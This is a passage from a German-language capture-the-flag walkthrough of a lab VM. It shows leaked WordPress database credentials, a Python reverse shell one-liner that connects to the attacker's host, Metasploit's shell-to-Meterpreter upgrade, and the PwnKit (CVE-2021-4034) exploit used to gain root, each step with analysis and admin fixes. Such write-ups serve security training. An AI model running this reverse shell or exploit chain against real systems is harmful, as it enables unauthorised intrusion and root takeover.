-rw-r--r--  1 krishna krishna 31112 Mar 12  2020 wp-signup.php
-rw-r--r--  1 krishna krishna  4764 Mar 12  2020 wp-trackback.php
-rw-r--r--  1 krishna krishna  3150 Mar 12  2020 xmlrpc.php
                    
krishna@ck05:/var/www/html$ cat wp-config.php
define( 'DB_NAME', 'wpdb' );
define( 'DB_USER', 'root' );
define( 'DB_PASSWORD', 'root' );
                    

**Analyse:** Der Pentester listet das Web-Root-Verzeichnis auf und liest die `wp-config.php`. Diese bestätigt die WordPress-Installation und die MySQL-Zugangsdaten `root`:`root`, die bereits über phpMyAdmin ausgenutzt wurden.

**Bewertung:** Bestätigt die Datenbank-Zugangsdaten und die unsichere Konfiguration (Verwendung des Root-DB-Benutzers).

**Empfehlung (Pentester):** Keine neuen Aktionen erforderlich.
**Empfehlung (Admin):** Verwenden Sie dedizierte DB-Benutzer mit minimalen Rechten für Webanwendungen. Sichern Sie die `wp-config.php` (korrekte Berechtigungen, idealerweise außerhalb des Web-Roots, wenn möglich).

krishna@ck05:/var/www/html$ cat /home/loopspell/code_compiler.sh
#!/bin/sh
source_code="${1}"
echo "Code is being compiling ..."
/usr/bin/gcc $source_code -o $(mktemp)
echo "You can find your compiled code in /tmp/ directory."
                    

**Analyse:** Der Inhalt des Compiler-Skripts, das `krishna` als `loopspell` ausführen darf, wird angezeigt. Es nimmt einen Dateipfad als Argument, kompiliert diesen mit `gcc` und speichert das Ergebnis unter einem temporären Namen in `/tmp`.

**Bewertung:** Bestätigt die Funktionsweise des Skripts. Wie zuvor analysiert, könnte dies zur Eskalation zu `loopspell` genutzt werden, wird aber im Log nicht weiter verfolgt.

**Empfehlung (Pentester):** Behalten Sie dies als alternativen Pfad im Hinterkopf.
**Empfehlung (Admin):** Überarbeiten Sie das Skript, um sicherzustellen, dass nur vertrauenswürdiger Code kompiliert wird, oder entfernen Sie die `sudo`-Regel.

Privilege Escalation (PwnKit via Metasploit)

Obwohl andere potenzielle Pfade (SUID Python, sudo Compiler-Skript) existieren, wird hier Metasploit verwendet, um die PwnKit-Schwachstelle (CVE-2021-4034) in `/usr/bin/pkexec` auszunutzen. Zuerst wird eine Meterpreter-Session etabliert.

┌──(root㉿cycat)-[~]
└─# msfconsole
[...]
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost eth0
lhost => 192.168.2.105
msf6 exploit(multi/handler) > set lport 5555
lport => 5555
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.2.105:5555
                    
[employee1@ html]$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.105",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
[*] Command shell session 1 opened (192.168.2.105:5555 -> 192.168.2.110:47516) at 2023-07-12 00:13:05 +0200
sh-4.2$
                    
msf6 exploit(multi/handler) > use multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > set HANDLER true
HANDLER => true
msf6 post(multi/manage/shell_to_meterpreter) > set LHST eth0
LHST => 192.168.2.105
msf6 post(multi/manage/shell_to_meterpreter) > set LPRT 4433
LPRT => 4433
msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.105:4433
[*] Sending stage (1017704 bytes) to 192.168.2.110
[*] Meterpreter session 2 opened (192.168.2.105:4433 -> 192.168.2.110:59084) at 2023-07-12 00:14:11 +0200
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
                    

**Analyse:** Der Pentester etabliert eine Reverse Shell von der `krishna`-Shell (trotz des inkonsistenten Prompts im Log) zu einem Metasploit-Handler. Anschließend wird die einfache Shell (Session 1) mit `shell_to_meterpreter` zu einer Meterpreter-Session (Session 2) aufgewertet.

**Bewertung:** Vorbereitung für die Ausführung des lokalen Exploits über Metasploit. Eine Meterpreter-Session als `krishna` ist nun verfügbar.

**Empfehlung (Pentester):** Verwenden Sie den Local Exploit Suggester oder laden Sie direkt den PwnKit-Exploit.
**Empfehlung (Admin):** Egress-Filtering, Prozessüberwachung, IDS/IPS können helfen.

msf6 post(multi/manage/shell_to_meterpreter) > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > options
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set LPRT 5544
LPRT => 5544
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set LHST eth0
LHST => 192.168.2.105
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2
session => 2
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
[*] Started reverse TCP handler on 192.168.2.105:5544
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.sxwiwshkfgej
[+] The target is vulnerable.
[*] Writing '/tmp/.hhkqcijmcj/thhrdkcuew/thhrdkcuew.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.hhkqcijmcj
[*] Sending stage (3045348 bytes) to 192.168.2.110
[+] Deleted /tmp/.hhkqcijmcj/thhrdkcuew/thhrdkcuew.so
[+] Deleted /tmp/.hhkqcijmcj/.zyurtkkm
[+] Deleted /tmp/.hhkqcijmcj
[*] Meterpreter session 3 opened (192.168.2.105:5544 -> 192.168.2.110:42930) at 2023-07-12 00:15:21 +0200
                    

**Analyse:** Der PwnKit-Exploit (`exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec`) wird geladen, auf Session 2 (Meterpreter als `krishna`) gesetzt und konfiguriert, um eine neue Verbindung auf Port 5544 zu empfangen. Der Exploit wird ausgeführt (`run`), bestätigt die Anfälligkeit, lädt Dateien hoch, führt den Exploit aus, bereinigt und öffnet erfolgreich Meterpreter-Session 3 mit Root-Rechten.

**Bewertung:** Root-Zugriff erfolgreich via PwnKit erlangt! Die Schwachstelle in `pkexec` wurde erfolgreich ausgenutzt.

**Empfehlung (Pentester):** Interagieren Sie mit Session 3, bestätigen Sie Root-Rechte und suchen Sie die Flagge.
**Empfehlung (Admin):** Patchen Sie PwnKit (CVE-2021-4034) durch Update von `policykit-1`.

Proof of Concept (Root Shell)

Nach erfolgreicher Ausführung des PwnKit-Exploits bestätigen wir die erlangten Root-Rechte und lesen die finale Flagge aus.

meterpreter > getuid
Server username: root
meterpreter > shell
Process 1727 created.
Channel 1 created.
                    
# id
uid=0(root) gid=0(root) groups=0(root),1001(krishna)
# cd /root
# ls
root.txt
# cat root.txt
_________        ___.                 ____  __.      .__       .__     __    _______   .________
\_   ___ \___.__.\_ |__   ___________|    |/ _| ____ |__| ____ |  |___/  |_  \   _  \  |   ____/
/    \  \<   |  | | __ \_/ __ \_  __ \      <  /    \|  |/ ___\|  |  \   __\ /  /_\  \ |____  \
\     \___\___  | | \_\ \  ___/|  | \/    |  \|   |  \  / /_/  >   Y  \  |   \  \_/   \/       \
 \______  / ____| |___  /\___  >__|  |____|__ \___|  /__\___  /|___|  /__|    \_____  /______  /
        \/\/          \/     \/              \/    \/  /_____/      \/              \/       \/


flag = efa4c284b8e2a15674dfb369384c8bcf

This flag is a proof that you get the root shell.

Tag me on Twitter with @CyberKnight00
                    

**Analyse:** In Meterpreter-Session 3 wird `getuid` ausgeführt, was `root` bestätigt. Mit `shell` wird eine interaktive Root-Shell geöffnet. `id` bestätigt `uid=0(root)`. Ein Wechsel nach `/root` und `ls` zeigt die Datei `root.txt`. `cat root.txt` zeigt ASCII-Art, eine Nachricht und die Root-Flagge: `efa4c284b8e2a15674dfb369384c8bcf`.

**Bewertung:** Ziel erreicht! Die Root-Flagge wurde erfolgreich gefunden. Der Test ist abgeschlossen.

**Empfehlung (Pentester):** Dokumentieren Sie die Flagge und den Angriffspfad (phpMyAdmin Default Creds -> WP Hash Leak -> John -> SSH Login -> PwnKit).
**Empfehlung (Admin):** Beheben Sie alle gefundenen Schwachstellen (Standard-DB-Passwort, unsicheres phpMyAdmin, schwaches WP-Passwort, Passwort-Wiederverwendung, PwnKit).

 Privilege Escalation erfolgreich
                    

**Analyse:** Organisatorische Abschlussnotiz.

**Bewertung:** Bestätigt den Erfolg.

**Empfehlung (Pentester/Admin):** Keine technischen Empfehlungen.

Flags

Anmerkung: Im bereitgestellten Log wurde keine explizite User-Flagge (z.B. in einer `user.txt`-Datei) gefunden oder ausgelesen. Die Datei `flag1.txt` enthielt eine URL.

cat /root/root.txt
efa4c284b8e2a15674dfb369384c8bcf